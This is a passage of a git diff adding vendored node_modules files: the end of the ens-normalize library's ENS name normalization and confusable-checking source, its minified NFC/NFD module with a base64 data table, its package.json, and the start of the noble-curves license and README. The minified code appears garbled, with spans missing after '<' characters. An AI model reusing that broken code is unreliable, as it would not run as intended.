(MAPPED) return; + + let r = read_compressed_payload(COMPRESSED$1); + const read_sorted_array = () => read_sorted(r); + const read_sorted_set = () => new Set(read_sorted_array()); + const set_add_many = (set, v) => v.forEach(x => set.add(x)); + + MAPPED = new Map(read_mapped(r)); + IGNORED = read_sorted_set(); // ignored characters are not valid, so just read raw codepoints + + /* + // direct include from payload is smaller than the decompression code + const FENCED = new Map(read_array_while(() => { + let cp = r(); + if (cp) return [cp, read_str(r())]; + })); + */ + // 20230217: we still need all CM for proper error formatting + // but norm only needs NSM subset that are potentially-valid + CM = read_sorted_array(); + NSM = new Set(read_sorted_array().map(i => CM[i])); + CM = new Set(CM); + + ESCAPE = read_sorted_set(); // characters that should not be printed + NFC_CHECK = read_sorted_set(); // only needed to illustrate ens_tokenize() transformations + + let chunks = read_sorted_arrays(r); + let unrestricted = r(); + //const read_chunked = () => new Set(read_sorted_array().flatMap(i => chunks[i]).concat(read_sorted_array())); + const read_chunked = () => { + // 20230921: build set in parts, 2x faster + let set = new Set(); + read_sorted_array().forEach(i => set_add_many(set, chunks[i])); + set_add_many(set, read_sorted_array()); + return set; + }; + GROUPS = read_array_while(i => { + // minifier property mangling seems unsafe + // so these are manually renamed to single chars + let N = read_array_while(r).map(x => x+0x60); + if (N.length) { + let R = i >= unrestricted; // unrestricted then restricted + N[0] -= 32; // capitalize + N = str_from_cps(N); + if (R) N=`Restricted[${N}]`; + let P = read_chunked(); // primary + let Q = read_chunked(); // secondary + let M = !r(); // not-whitelisted, check for NSM + // *** this code currently isn't needed *** + /* + let V = [...P, ...Q].sort((a, b) => a-b); // derive: sorted valid + let M = r()-1; // number of combining mark + if (M < 0) { // whitelisted + M = new Map(read_array_while(() => { + let i = r(); + if (i) return [V[i-1], read_array_while(() => { + let v = read_array_while(r); + if (v.length) return v.map(x => x-1); + })]; + })); + }*/ + return {N, P, Q, M, R}; + } + }); + + // decode compressed wholes + WHOLE_VALID = read_sorted_set(); + WHOLE_MAP = new Map(); + let wholes = read_sorted_array().concat(Array_from(WHOLE_VALID)).sort((a, b) => a-b); // must be sorted + wholes.forEach((cp, i) => { + let d = r(); + let w = wholes[i] = d ? wholes[i-d] : {V: [], M: new Map()}; + w.V.push(cp); // add to member set + if (!WHOLE_VALID.has(cp)) { + WHOLE_MAP.set(cp, w); // register with whole map + } + }); + + // compute confusable-extent complements + // usage: WHOLE_MAP.get(cp).M.get(cp) = complement set + for (let {V, M} of new Set(WHOLE_MAP.values())) { + // connect all groups that have each whole character + let recs = []; + for (let cp of V) { + let gs = GROUPS.filter(g => group_has_cp(g, cp)); + let rec = recs.find(({G}) => gs.some(g => G.has(g))); + if (!rec) { + rec = {G: new Set(), V: []}; + recs.push(rec); + } + rec.V.push(cp); + set_add_many(rec.G, gs); + } + // per character cache groups which are not a member of the extent + let union = recs.flatMap(x => Array_from(x.G)); // all of the groups used by this whole + for (let {G, V} of recs) { + let complement = new Set(union.filter(g => !G.has(g))); // groups not covered by the extent + for (let cp of V) { + M.set(cp, complement); // this is the same reference + } + } + } + + // compute valid set + // 20230924: VALID was union but can be re-used + VALID = new Set(); // exists in 1+ groups + let multi = new Set(); // exists in 2+ groups + const add_to_union = cp => VALID.has(cp) ? multi.add(cp) : VALID.add(cp); + for (let g of GROUPS) { + for (let cp of g.P) add_to_union(cp); + for (let cp of g.Q) add_to_union(cp); + } + // dual purpose WHOLE_MAP: return placeholder if unique non-confusable + for (let cp of VALID) { + if (!WHOLE_MAP.has(cp) && !multi.has(cp)) { + WHOLE_MAP.set(cp, UNIQUE_PH); + } + } + // add all decomposed parts + // see derive: "Valid is Closed (via Brute-force)" + set_add_many(VALID, nfd(VALID)); + + // decode emoji + // 20230719: emoji are now fully-expanded to avoid quirk logic + EMOJI_LIST = read_trie(r).map(v => Emoji.from(v)).sort(compare_arrays); + EMOJI_ROOT = new Map(); // this has approx 7K nodes (2+ per emoji) + for (let cps of EMOJI_LIST) { + // 20230719: change to *slightly* stricter algorithm which disallows + // insertion of misplaced FE0F in emoji sequences (matching ENSIP-15) + // example: beautified [A B] (eg. flag emoji) + // before: allow: [A FE0F B], error: [A FE0F FE0F B] + // after: error: both + // note: this code now matches ENSNormalize.{cs,java} logic + let prev = [EMOJI_ROOT]; + for (let cp of cps) { + let next = prev.map(node => { + let child = node.get(cp); + if (!child) { + // should this be object? + // (most have 1-2 items, few have many) + // 20230719: no, v8 default map is 4? + child = new Map(); + node.set(cp, child); + } + return child; + }); + if (cp === FE0F) { + prev.push(...next); // less than 20 elements + } else { + prev = next; + } + } + for (let x of prev) { + x.V = cps; + } + } +} + +// if escaped: {HEX} +// else: "x" {HEX} +function quoted_cp(cp) { + return (should_escape(cp) ? '' : `${bidi_qq(safe_str_from_cps([cp]))} `) + quote_cp(cp); +} + +// 20230211: some messages can be mixed-directional and result in spillover +// use 200E after a quoted string to force the remainder of a string from +// acquring the direction of the quote +// https://www.w3.org/International/questions/qa-bidi-unicode-controls#exceptions +function bidi_qq(s) { + return `"${s}"\u200E`; // strong LTR +} + +function check_label_extension(cps) { + if (cps.length >= 4 && cps[2] == HYPHEN && cps[3] == HYPHEN) { + throw new Error(`invalid label extension: "${str_from_cps(cps.slice(0, 4))}"`); // this can only be ascii so cant be bidi + } +} +function check_leading_underscore(cps) { + const UNDERSCORE = 0x5F; + for (let i = cps.lastIndexOf(UNDERSCORE); i > 0; ) { + if (cps[--i] !== UNDERSCORE) { + throw new Error('underscore allowed only at start'); + } + } +} +// check that a fenced cp is not leading, trailing, or touching another fenced cp +function check_fenced(cps) { + let cp = cps[0]; + let prev = FENCED.get(cp); + if (prev) throw error_placement(`leading ${prev}`); + let n = cps.length; + let last = -1; // prevents trailing from throwing + for (let i = 1; i < n; i++) { + cp = cps[i]; + let match = FENCED.get(cp); + if (match) { + // since cps[0] isn't fenced, cps[1] cannot throw + if (last == i) throw error_placement(`${prev} + ${match}`); + last = i + 1; + prev = match; + } + } + if (last == n) throw error_placement(`trailing ${prev}`); +} + +// create a safe to print string +// invisibles are escaped +// leading cm uses placeholder +// if cps exceed max, middle truncate with ellipsis +// quoter(cp) => string, eg. 3000 => "{3000}" +// note: in html, you'd call this function then replace [<>&] with entities +function safe_str_from_cps(cps, max = Infinity, quoter = quote_cp) { + //if (Number.isInteger(cps)) cps = [cps]; + //if (!Array.isArray(cps)) throw new TypeError(`expected codepoints`); + let buf = []; + if (is_combining_mark(cps[0])) buf.push('◌'); + if (cps.length > max) { + max >>= 1; + cps = [...cps.slice(0, max), 0x2026, ...cps.slice(-max)]; + } + let prev = 0; + let n = cps.length; + for (let i = 0; i < n; i++) { + let cp = cps[i]; + if (should_escape(cp)) { + buf.push(str_from_cps(cps.slice(prev, i))); + buf.push(quoter(cp)); + prev = i + 1; + } + } + buf.push(str_from_cps(cps.slice(prev, n))); + return buf.join(''); +} + +// note: set(s) cannot be exposed because they can be modified +// note: Object.freeze() doesn't work +function is_combining_mark(cp) { + init(); + return CM.has(cp); +} +function should_escape(cp) { + init(); + return ESCAPE.has(cp); +} + +// return all supported emoji as fully-qualified emoji +// ordered by length then lexicographic +function ens_emoji() { + init(); + return EMOJI_LIST.map(x => x.slice()); // emoji are exposed so copy +} + +function ens_normalize_fragment(frag, decompose) { + init(); + let nf = decompose ? nfd : nfc; + return frag.split(STOP_CH).map(label => str_from_cps(tokens_from_str(explode_cp(label), nf, filter_fe0f).flat())).join(STOP_CH); +} + +function ens_normalize(name) { + return flatten(split(name, nfc, filter_fe0f)); +} + +function ens_beautify(name) { + let labels = split(name, nfc, x => x); // emoji not exposed + for (let {type, output, error} of labels) { + if (error) break; // flatten will throw + + // replace leading/trailing hyphen + // 20230121: consider beautifing all or leading/trailing hyphen to unicode variant + // not exactly the same in every font, but very similar: "-" vs "‐" + /* + const UNICODE_HYPHEN = 0x2010; + // maybe this should replace all for visual consistancy? + // `node tools/reg-count.js regex ^-\{2,\}` => 592 + //for (let i = 0; i < output.length; i++) if (output[i] == 0x2D) output[i] = 0x2010; + if (output[0] == HYPHEN) output[0] = UNICODE_HYPHEN; + let end = output.length-1; + if (output[end] == HYPHEN) output[end] = UNICODE_HYPHEN; + */ + // 20230123: WHATWG URL uses "CheckHyphens" false + // https://url.spec.whatwg.org/#idna + + // update ethereum symbol + // ξ => Ξ if not greek + if (type !== 'Greek') array_replace(output, 0x3BE, 0x39E); + + // 20221213: fixes bidi subdomain issue, but breaks invariant (200E is disallowed) + // could be fixed with special case for: 2D (.) + 200E (LTR) + // https://discuss.ens.domains/t/bidi-label-ordering-spoof/15824 + //output.splice(0, 0, 0x200E); + } + return flatten(labels); +} + +function array_replace(v, a, b) { + let prev = 0; + while (true) { + let next = v.indexOf(a, prev); + if (next < 0) break; + v[next] = b; + prev = next + 1; + } +} + +function ens_split(name, preserve_emoji) { + return split(name, nfc, preserve_emoji ? x => x.slice() : filter_fe0f); // emoji are exposed so copy +} + +function split(name, nf, ef) { + if (!name) return []; // 20230719: empty name allowance + init(); + let offset = 0; + // https://unicode.org/reports/tr46/#Validity_Criteria + // 4.) "The label must not contain a U+002E ( . ) FULL STOP." + return name.split(STOP_CH).map(label => { + let input = explode_cp(label); + let info = { + input, + offset, // codepoint, not substring! + }; + offset += input.length + 1; // + stop + try { + // 1.) "The label must be in Unicode Normalization Form NFC" + let tokens = info.tokens = tokens_from_str(input, nf, ef); + let token_count = tokens.length; + let type; + if (!token_count) { // the label was effectively empty (could of had ignored characters) + //norm = []; + //type = 'None'; // use this instead of next match, "ASCII" + // 20230120: change to strict + // https://discuss.ens.domains/t/ens-name-normalization-2nd/14564/59 + throw new Error(`empty label`); + } + let norm = info.output = tokens.flat(); + check_leading_underscore(norm); + let emoji = info.emoji = token_count > 1 || tokens[0].is_emoji; // same as: tokens.some(x => x.is_emoji); + if (!emoji && norm.every(cp => cp < 0x80)) { // special case for ascii + // 20230123: matches matches WHATWG, see note 3.3 + check_label_extension(norm); // only needed for ascii + // cant have fenced + // cant have cm + // cant have wholes + // see derive: "Fastpath ASCII" + type = 'ASCII'; + } else { + let chars = tokens.flatMap(x => x.is_emoji ? [] : x); // all of the nfc tokens concat together + if (!chars.length) { // theres no text, just emoji + type = 'Emoji'; + } else { + // 5.) "The label must not begin with a combining mark, that is: General_Category=Mark." + if (CM.has(norm[0])) throw error_placement('leading combining mark'); + for (let i = 1; i < token_count; i++) { // we've already checked the first token + let cps = tokens[i]; + if (!cps.is_emoji && CM.has(cps[0])) { // every text token has emoji neighbors, eg. EtEEEtEt... + // bidi_qq() not needed since emoji is LTR and cps is a CM + throw error_placement(`emoji + combining mark: "${str_from_cps(tokens[i-1])} + ${safe_str_from_cps([cps[0]])}"`); + } + } + check_fenced(norm); + let unique = Array_from(new Set(chars)); + let [g] = determine_group(unique); // take the first match + // see derive: "Matching Groups have Same CM Style" + // alternative: could form a hybrid type: Latin/Japanese/... + check_group(g, chars); // need text in order + check_whole(g, unique); // only need unique text (order would be required for multiple-char confusables) + type = g.N; + // 20230121: consider exposing restricted flag + // it's simpler to just check for 'Restricted' + // or even better: type.endsWith(']') + //if (g.R) info.restricted = true; + } + } + info.type = type; + } catch (err) { + info.error = err; // use full error object + } + return info; + }); +} + +function check_whole(group, unique) { + let maker; + let shared = []; + for (let cp of unique) { + let whole = WHOLE_MAP.get(cp); + if (whole === UNIQUE_PH) return; // unique, non-confusable + if (whole) { + let set = whole.M.get(cp); // groups which have a character that look-like this character + maker = maker ? maker.filter(g => set.has(g)) : Array_from(set); + if (!maker.length) return; // confusable intersection is empty + } else { + shared.push(cp); + } + } + if (maker) { + // we have 1+ confusable + // check if any of the remaining groups + // contain the shared characters too + for (let g of maker) { + if (shared.every(cp => group_has_cp(g, cp))) { + throw new Error(`whole-script confusable: ${group.N}/${g.N}`); + } + } + } +} + +// assumption: unique.size > 0 +// returns list of matching groups +function determine_group(unique) { + let groups = GROUPS; + for (let cp of unique) { + // note: we need to dodge CM that are whitelisted + // but that code isn't currently necessary + let gs = groups.filter(g => group_has_cp(g, cp)); + if (!gs.length) { + if (!GROUPS.some(g => group_has_cp(g, cp))) { + // the character was composed of valid parts + // but it's NFC form is invalid + // 20230716: change to more exact statement, see: ENSNormalize.{cs,java} + // note: this doesn't have to be a composition + // 20230720: change to full check + throw error_disallowed(cp); // this should be rare + } else { + // there is no group that contains all these characters + // throw using the highest priority group that matched + // https://www.unicode.org/reports/tr39/#mixed_script_confusables + throw error_group_member(groups[0], cp); + } + } + groups = gs; + if (gs.length == 1) break; // there is only one group left + } + // there are at least 1 group(s) with all of these characters + return groups; +} + +// throw on first error +function flatten(split) { + return split.map(({input, error, output}) => { + if (error) { + // don't print label again if just a single label + let msg = error.message; + // bidi_qq() only necessary if msg is digits + throw new Error(split.length == 1 ? msg : `Invalid label ${bidi_qq(safe_str_from_cps(input, 63))}: ${msg}`); + } + return str_from_cps(output); + }).join(STOP_CH); +} + +function error_disallowed(cp) { + // TODO: add cp to error? + return new Error(`disallowed character: ${quoted_cp(cp)}`); +} +function error_group_member(g, cp) { + let quoted = quoted_cp(cp); + let gg = GROUPS.find(g => g.P.has(cp)); // only check primary + if (gg) { + quoted = `${gg.N} ${quoted}`; + } + return new Error(`illegal mixture: ${g.N} + ${quoted}`); +} +function error_placement(where) { + return new Error(`illegal placement: ${where}`); +} + +// assumption: cps.length > 0 +// assumption: cps[0] isn't a CM +// assumption: the previous character isn't an emoji +function check_group(g, cps) { + for (let cp of cps) { + if (!group_has_cp(g, cp)) { + // for whitelisted scripts, this will throw illegal mixture on invalid cm, eg. "e{300}{300}" + // at the moment, it's unnecessary to introduce an extra error type + // until there exists a whitelisted multi-character + // eg. if (M < 0 && is_combining_mark(cp)) { ... } + // there are 3 cases: + // 1. illegal cm for wrong group => mixture error + // 2. illegal cm for same group => cm error + // requires set of whitelist cm per group: + // eg. new Set([...g.P, ...g.Q].flatMap(nfc).filter(cp => CM.has(cp))) + // 3. wrong group => mixture error + throw error_group_member(g, cp); + } + } + //if (M >= 0) { // we have a known fixed cm count + if (g.M) { // we need to check for NSM + let decomposed = nfd(cps); + for (let i = 1, e = decomposed.length; i < e; i++) { // see: assumption + // 20230210: bugfix: using cps instead of decomposed h/t Carbon225 + /* + if (CM.has(decomposed[i])) { + let j = i + 1; + while (j < e && CM.has(decomposed[j])) j++; + if (j - i > M) { + throw new Error(`too many combining marks: ${g.N} ${bidi_qq(str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${M})`); + } + i = j; + } + */ + // 20230217: switch to NSM counting + // https://www.unicode.org/reports/tr39/#Optional_Detection + if (NSM.has(decomposed[i])) { + let j = i + 1; + for (let cp; j < e && NSM.has(cp = decomposed[j]); j++) { + // a. Forbid sequences of the same nonspacing mark. + for (let k = i; k < j; k++) { // O(n^2) but n < 100 + if (decomposed[k] == cp) { + throw new Error(`duplicate non-spacing marks: ${quoted_cp(cp)}`); + } + } + } + // parse to end so we have full nsm count + // b. Forbid sequences of more than 4 nonspacing marks (gc=Mn or gc=Me). + if (j - i > NSM_MAX) { + // note: this slice starts with a base char or spacing-mark cm + throw new Error(`excessive non-spacing marks: ${bidi_qq(safe_str_from_cps(decomposed.slice(i-1, j)))} (${j-i}/${NSM_MAX})`); + } + i = j; + } + } + } + // *** this code currently isn't needed *** + /* + let cm_whitelist = M instanceof Map; + for (let i = 0, e = cps.length; i < e; ) { + let cp = cps[i++]; + let seqs = cm_whitelist && M.get(cp); + if (seqs) { + // list of codepoints that can follow + // if this exists, this will always be 1+ + let j = i; + while (j < e && CM.has(cps[j])) j++; + let cms = cps.slice(i, j); + let match = seqs.find(seq => !compare_arrays(seq, cms)); + if (!match) throw new Error(`disallowed combining mark sequence: "${safe_str_from_cps([cp, ...cms])}"`); + i = j; + } else if (!V.has(cp)) { + // https://www.unicode.org/reports/tr39/#mixed_script_confusables + let quoted = quoted_cp(cp); + for (let cp of cps) { + let u = UNIQUE.get(cp); + if (u && u !== g) { + // if both scripts are restricted this error is confusing + // because we don't differentiate RestrictedA from RestrictedB + if (!u.R) quoted = `${quoted} is ${u.N}`; + break; + } + } + throw new Error(`disallowed ${g.N} character: ${quoted}`); + //throw new Error(`disallowed character: ${quoted} (expected ${g.N})`); + //throw new Error(`${g.N} does not allow: ${quoted}`); + } + } + if (!cm_whitelist) { + let decomposed = nfd(cps); + for (let i = 1, e = decomposed.length; i < e; i++) { // we know it can't be cm leading + if (CM.has(decomposed[i])) { + let j = i + 1; + while (j < e && CM.has(decomposed[j])) j++; + if (j - i > M) { + throw new Error(`too many combining marks: "${str_from_cps(decomposed.slice(i-1, j))}" (${j-i}/${M})`); + } + i = j; + } + } + } + */ +} + +// given a list of codepoints +// returns a list of lists, where emoji are a fully-qualified (as Array subclass) +// eg. explode_cp("abc💩d") => [[61, 62, 63], Emoji[1F4A9, FE0F], [64]] +// 20230818: rename for 'process' name collision h/t Javarome +// https://github.com/adraffy/ens-normalize.js/issues/23 +function tokens_from_str(input, nf, ef) { + let ret = []; + let chars = []; + input = input.slice().reverse(); // flip so we can pop + while (input.length) { + let emoji = consume_emoji_reversed(input); + if (emoji) { + if (chars.length) { + ret.push(nf(chars)); + chars = []; + } + ret.push(ef(emoji)); + } else { + let cp = input.pop(); + if (VALID.has(cp)) { + chars.push(cp); + } else { + let cps = MAPPED.get(cp); + if (cps) { + chars.push(...cps); // less than 10 elements + } else if (!IGNORED.has(cp)) { + // 20230912: unicode 15.1 changed the order of processing such that + // disallowed parts are only rejected after NFC + // https://unicode.org/reports/tr46/#Validity_Criteria + // this doesn't impact normalization as of today + // technically, this error can be removed as the group logic will apply similar logic + // however the error type might be less clear + throw error_disallowed(cp); + } + } + } + } + if (chars.length) { + ret.push(nf(chars)); + } + return ret; +} + +function filter_fe0f(cps) { + return cps.filter(cp => cp != FE0F); +} + +// given array of codepoints +// returns the longest valid emoji sequence (or undefined if no match) +// *MUTATES* the supplied array +// disallows interleaved ignored characters +// fills (optional) eaten array with matched codepoints +function consume_emoji_reversed(cps, eaten) { + let node = EMOJI_ROOT; + let emoji; + let pos = cps.length; + while (pos) { + node = node.get(cps[--pos]); + if (!node) break; + let {V} = node; + if (V) { // this is a valid emoji (so far) + emoji = V; + if (eaten) eaten.push(...cps.slice(pos).reverse()); // (optional) copy input, used for ens_tokenize() + cps.length = pos; // truncate + } + } + return emoji; +} + +// ************************************************************ +// tokenizer + +const TY_VALID = 'valid'; +const TY_MAPPED = 'mapped'; +const TY_IGNORED = 'ignored'; +const TY_DISALLOWED = 'disallowed'; +const TY_EMOJI = 'emoji'; +const TY_NFC = 'nfc'; +const TY_STOP = 'stop'; + +function ens_tokenize(name, { + nf = true, // collapse unnormalized runs into a single token +} = {}) { + init(); + let input = explode_cp(name).reverse(); + let eaten = []; + let tokens = []; + while (input.length) { + let emoji = consume_emoji_reversed(input, eaten); + if (emoji) { + tokens.push({ + type: TY_EMOJI, + emoji: emoji.slice(), // copy emoji + input: eaten, + cps: filter_fe0f(emoji) + }); + eaten = []; // reset buffer + } else { + let cp = input.pop(); + if (cp == STOP) { + tokens.push({type: TY_STOP, cp}); + } else if (VALID.has(cp)) { + tokens.push({type: TY_VALID, cps: [cp]}); + } else if (IGNORED.has(cp)) { + tokens.push({type: TY_IGNORED, cp}); + } else { + let cps = MAPPED.get(cp); + if (cps) { + tokens.push({type: TY_MAPPED, cp, cps: cps.slice()}); + } else { + tokens.push({type: TY_DISALLOWED, cp}); + } + } + } + } + if (nf) { + for (let i = 0, start = -1; i < tokens.length; i++) { + let token = tokens[i]; + if (is_valid_or_mapped(token.type)) { + if (requires_check(token.cps)) { // normalization might be needed + let end = i + 1; + for (let pos = end; pos < tokens.length; pos++) { // find adjacent text + let {type, cps} = tokens[pos]; + if (is_valid_or_mapped(type)) { + if (!requires_check(cps)) break; + end = pos + 1; + } else if (type !== TY_IGNORED) { // || type !== TY_DISALLOWED) { + break; + } + } + if (start < 0) start = i; + let slice = tokens.slice(start, end); + let cps0 = slice.flatMap(x => is_valid_or_mapped(x.type) ? x.cps : []); // strip junk tokens + let cps = nfc(cps0); + if (compare_arrays(cps, cps0)) { // bundle into an nfc token + tokens.splice(start, end - start, { + type: TY_NFC, + input: cps0, // there are 3 states: tokens0 ==(process)=> input ==(nfc)=> tokens/cps + cps, + tokens0: collapse_valid_tokens(slice), + tokens: ens_tokenize(str_from_cps(cps), {nf: false}) + }); + i = start; + } else { + i = end - 1; // skip to end of slice + } + start = -1; // reset + } else { + start = i; // remember last + } + } else if (token.type !== TY_IGNORED) { // 20221024: is this correct? + start = -1; // reset + } + } + } + return collapse_valid_tokens(tokens); +} + +function is_valid_or_mapped(type) { + return type == TY_VALID || type == TY_MAPPED; +} + +function requires_check(cps) { + return cps.some(cp => NFC_CHECK.has(cp)); +} + +function collapse_valid_tokens(tokens) { + for (let i = 0; i < tokens.length; i++) { + if (tokens[i].type == TY_VALID) { + let j = i + 1; + while (j < tokens.length && tokens[j].type == TY_VALID) j++; + tokens.splice(i, j - i, {type: TY_VALID, cps: tokens.slice(i, j).flatMap(x => x.cps)}); + } + } + return tokens; +} + +export { ens_beautify, ens_emoji, ens_normalize, ens_normalize_fragment, ens_split, ens_tokenize, is_combining_mark, nfc, nfd, safe_str_from_cps, should_escape }; diff --git a/node_modules/@adraffy/ens-normalize/dist/nf.min.js b/node_modules/@adraffy/ens-normalize/dist/nf.min.js new file mode 100644 index 000000000000..b8151fa86920 --- /dev/null +++ b/node_modules/@adraffy/ens-normalize/dist/nf.min.js @@ -0,0 +1 @@ +var A="AEUDTAHBCFQATQDRADAAcgAgADQAFAAsABQAHwAOACQADQARAAoAFwAHABIACAAPAAUACwAFAAwABAAQAAMABwAEAAoABQAIAAIACgABAAQAFAALAAIACwABAAIAAQAHAAMAAwAEAAsADAAMAAwACgANAA0AAwAKAAkABAAdAAYAZwDSAdsDJgC0CkMB8xhZAqfoC190UGcThgBurwf7PT09Pb09AjgJum8OjDllxHYUKXAPxzq6tABAxgK8ysUvWAgMPT09PT09PSs6LT2HcgWXWwFLoSMEEEl5RFVMKvO0XQ8ExDdJMnIgsj26PTQyy8FfEQ8AY8IPAGcEbwRwBHEEcgRzBHQEdQR2BHcEeAR6BHsEfAR+BIAEgfndBQoBYgULAWIFDAFiBNcE2ATZBRAFEQU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F+nMf14ClKg5hGgtPLJ98ueNAkc5Hs2WZlk2QHvfreCK1CCGO6nMZVSb99VM/ajr8WHTte9JSmkXq/i/U943HEbdzW6Re/S88dKgg8pGOLlAeNiqrcLkUR3/aClFpMXcOUP3rmETcWSfMXZE3TUOi8i+fqRnTYLflVx/Vb/6GJ7eIRZUA6k3RYR3iFSK9c4iDdNwJuZL2FKz/IK5VimcNWEqdXjSoxSgmF0UPlDoUlNrPcM7ftmA8Y9gKiqKEHuWN+AZRIwtVSxye2Kf8rM3lhJ5XcBXU9n4v0Oy1RU2M+4qM8AQPVwse8ErNSob5oFPWxuqZnVzo1qB/IBxkM3EVUKFUUlO3e51259GgNcJbCmlvrdjtoTW7rChm1wyCKzpCTwozUUEOIcWLneRLgMXh+SjGSFkAllzbGS5HK7LlfCMRNRDSvbQPjcXaenNYxCvu2Qyznz6StuxVj66SgI0T8B6/sfHAJYZaZ78thjOSIFumNWLQbeZixDCCC+v0YBtkxiBB3jefHqZ/dFHU+crbj6OvS1x/JDD7vlm7zOVPwpUC01nhxZuY/63E7g";function e(A){return 1&A?~A>>1:A>>1}function t(A,t){let C=Array(A);for(let l=0,n=0;l[]));for(let n=0;nl[e].push(A)));return l}function B(A,e){let t=1+e(),C=e(),B=l(e);return n(B.length,1+A,e).flatMap(((A,e)=>{let[l,...n]=A;return Array(B[e]).fill().map(((A,e)=>{let B=e*C;return[l+e*t,n.map((A=>A+B))]}))}))}function Q(A,e){return n(1+e(),1+A,e).map((A=>[A[0],A.slice(1)]))}const r=44032,w=4352,E=4449,c=4519,o=28,f=21*o,u=r+19*f,g=w+19,M=E+21,s=c+o;function N(A){return A>>24&255}function i(A){return 16777215&A}let D,U,p,I;function a(){let e=function(A){let e=0;return()=>A[e++]}(function(A){let e=0;function t(){return A[e++]<<8|A[e++]}let C=t(),l=1,n=[0,1];for(let A=1;A>--r&1}const c=2**31,o=c>>>1,f=c-1;let u=0;for(let A=0;A<31;A++)u=u<<1|E();let g=[],M=0,s=c;for(;;){let A=Math.floor(((u-M+1)*l-1)/s),e=0,t=C;for(;t-e>1;){let C=e+t>>>1;A>>1|E(),B=B<<1^o,Q=(Q^o)<<1|o|1;M=B,s=1+Q-B}let N=C-4;return g.map((e=>{switch(e-N){case 3:return N+65792+(A[Q++]<<16|A[Q++]<<8|A[Q++]);case 2:return N+256+(A[Q++]<<8|A[Q++]);case 1:return N+A[Q++];default:return e-1}}))}(function(A){let e=[];[..."ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"].forEach(((A,t)=>e[A.charCodeAt(0)]=t));let t=A.length,C=new Uint8Array(6*t>>3);for(let l=0,n=0,B=0,Q=0;l=8&&(C[n++]=Q>>(B-=8));return C}(A)));var t;D=new Map((t=e,l((()=>{let A=C(t);if(A.length)return A}))).flatMap(((A,e)=>A.map((A=>[A,e+1<<24]))))),U=new Set(C(e)),p=new Map,I=new Map;for(let[A,t]of function(A){let e=[];for(;;){let t=A();if(0==t)break;e.push(B(t,A))}for(;;){let t=A()-1;if(t<0)break;e.push(Q(t,A))}return e.flat()}(e)){if(!U.has(A)&&2==t.length){let[e,C]=t,l=I.get(e);l||(l=new Map,I.set(e,l)),l.set(C,A)}p.set(A,t.reverse())}}function h(A){return A>=r&&A=w&&A=E&&ec&&e0&&l(c+t)}else{let A=p.get(C);A?t.push(...A):l(C)}if(!t.length)break;C=t.pop()}if(C&&e.length>1){let A=N(e[0]);for(let t=1;t0&&l>=A)0==A?(e.push(C,...t),t.length=0,C=B):t.push(B),l=A;else{let n=L(C,B);n>=0?C=n:0==l&&0==A?(e.push(C),C=B):(t.push(B),l=A)}}return C>=0&&e.push(C,...t),e}(S(A))}export{R as nfc,J as nfd}; diff --git a/node_modules/@adraffy/ens-normalize/package.json b/node_modules/@adraffy/ens-normalize/package.json new file mode 100755 index 000000000000..c865a004bd08 --- /dev/null +++ b/node_modules/@adraffy/ens-normalize/package.json @@ -0,0 +1,76 @@ +{ + "name": "@adraffy/ens-normalize", + "version": "1.10.1", + "description": "Ethereum Name Service (ENS) Name Normalizer", + "keywords": [ + "ENS", + "ENSIP-1", + "ENSIP-15", + "Ethereum", + "UTS-46", + "UTS-51", + "IDNA", + "Name", + "Normalize", + "Normalization", + "NFC", + "NFD" + ], + "exports": { + ".": { + "types": "./dist/index.d.ts", + "import": "./dist/index.mjs", + "default": "./dist/index.cjs" + }, + "./xnf": { + "types": "./dist/index.d.ts", + "import": "./dist/index-xnf.mjs", + "default": "./dist/index-xnf.cjs" + } + }, + "types": "./dist/index.d.ts", + "typesVersions": { + "*": { + "*": [ + "./dist/index.d.ts" + ] + } + }, + "main": "./dist/index.cjs", + "module": "./dist/index.mjs", + "files": [ + "./dist" + ], + "repository": { + "type": "git", + "url": "git+https://github.com/adraffy/ens-normalize.js.git" + }, + "license": "MIT", + "bugs": { + "url": "https://github.com/adraffy/ens-normalize.js/issues" + }, + "homepage": "https://github.com/adraffy/ens-normalize.js#readme", + "author": { + "name": "raffy.eth", + "email": "raffy@me.com", + "url": "http://raffy.antistupid.com" + }, + "scripts": { + "unicode": "node derive/download.js", + "labels": "node validate/download-labels.js", + "derive": "node derive/make.js", + "make": "node src/make.js", + "validate": "node validate/make.js", + "test": "node test/coder.js && node test/nf.js && node test/validate.js && node test/init.js", + "build": "rollup -c", + "rebuild": "npm run derive && npm run make && npm run validate && npm run test && npm run build", + "order": "node validate/dump-group-order.js save && npm run rebuild", + "pack": "node ./src/prepost.js pack", + "pub": "node ./src/prepost.js publish" + }, + "devDependencies": { + "@rollup/plugin-alias": "^5.0.0", + "@rollup/plugin-terser": "^0.4.0", + "rollup": "^3.24.1" + } +} \ No newline at end of file diff --git a/node_modules/@noble/curves/LICENSE b/node_modules/@noble/curves/LICENSE new file mode 100644 index 000000000000..9297a046d01c --- /dev/null +++ b/node_modules/@noble/curves/LICENSE @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2022 Paul Miller (https://paulmillr.com) + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the “Software”), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. \ No newline at end of file diff --git a/node_modules/@noble/curves/README.md b/node_modules/@noble/curves/README.md new file mode 100644 index 000000000000..dfeaf769bdd7 --- /dev/null +++ b/node_modules/@noble/curves/README.md @@ -0,0 +1,1074 @@ +# noble-curves + +Audited & minimal JS implementation of elliptic curve cryptography. + +- 🔒 [**Audited**](#security) by an independent security firm +- 🔻 Tree-shaking-friendly: use only what's necessary, other code won't be included +- 🏎 Ultra-fast, hand-optimized for caveats of JS engines +- 🔍 Unique tests 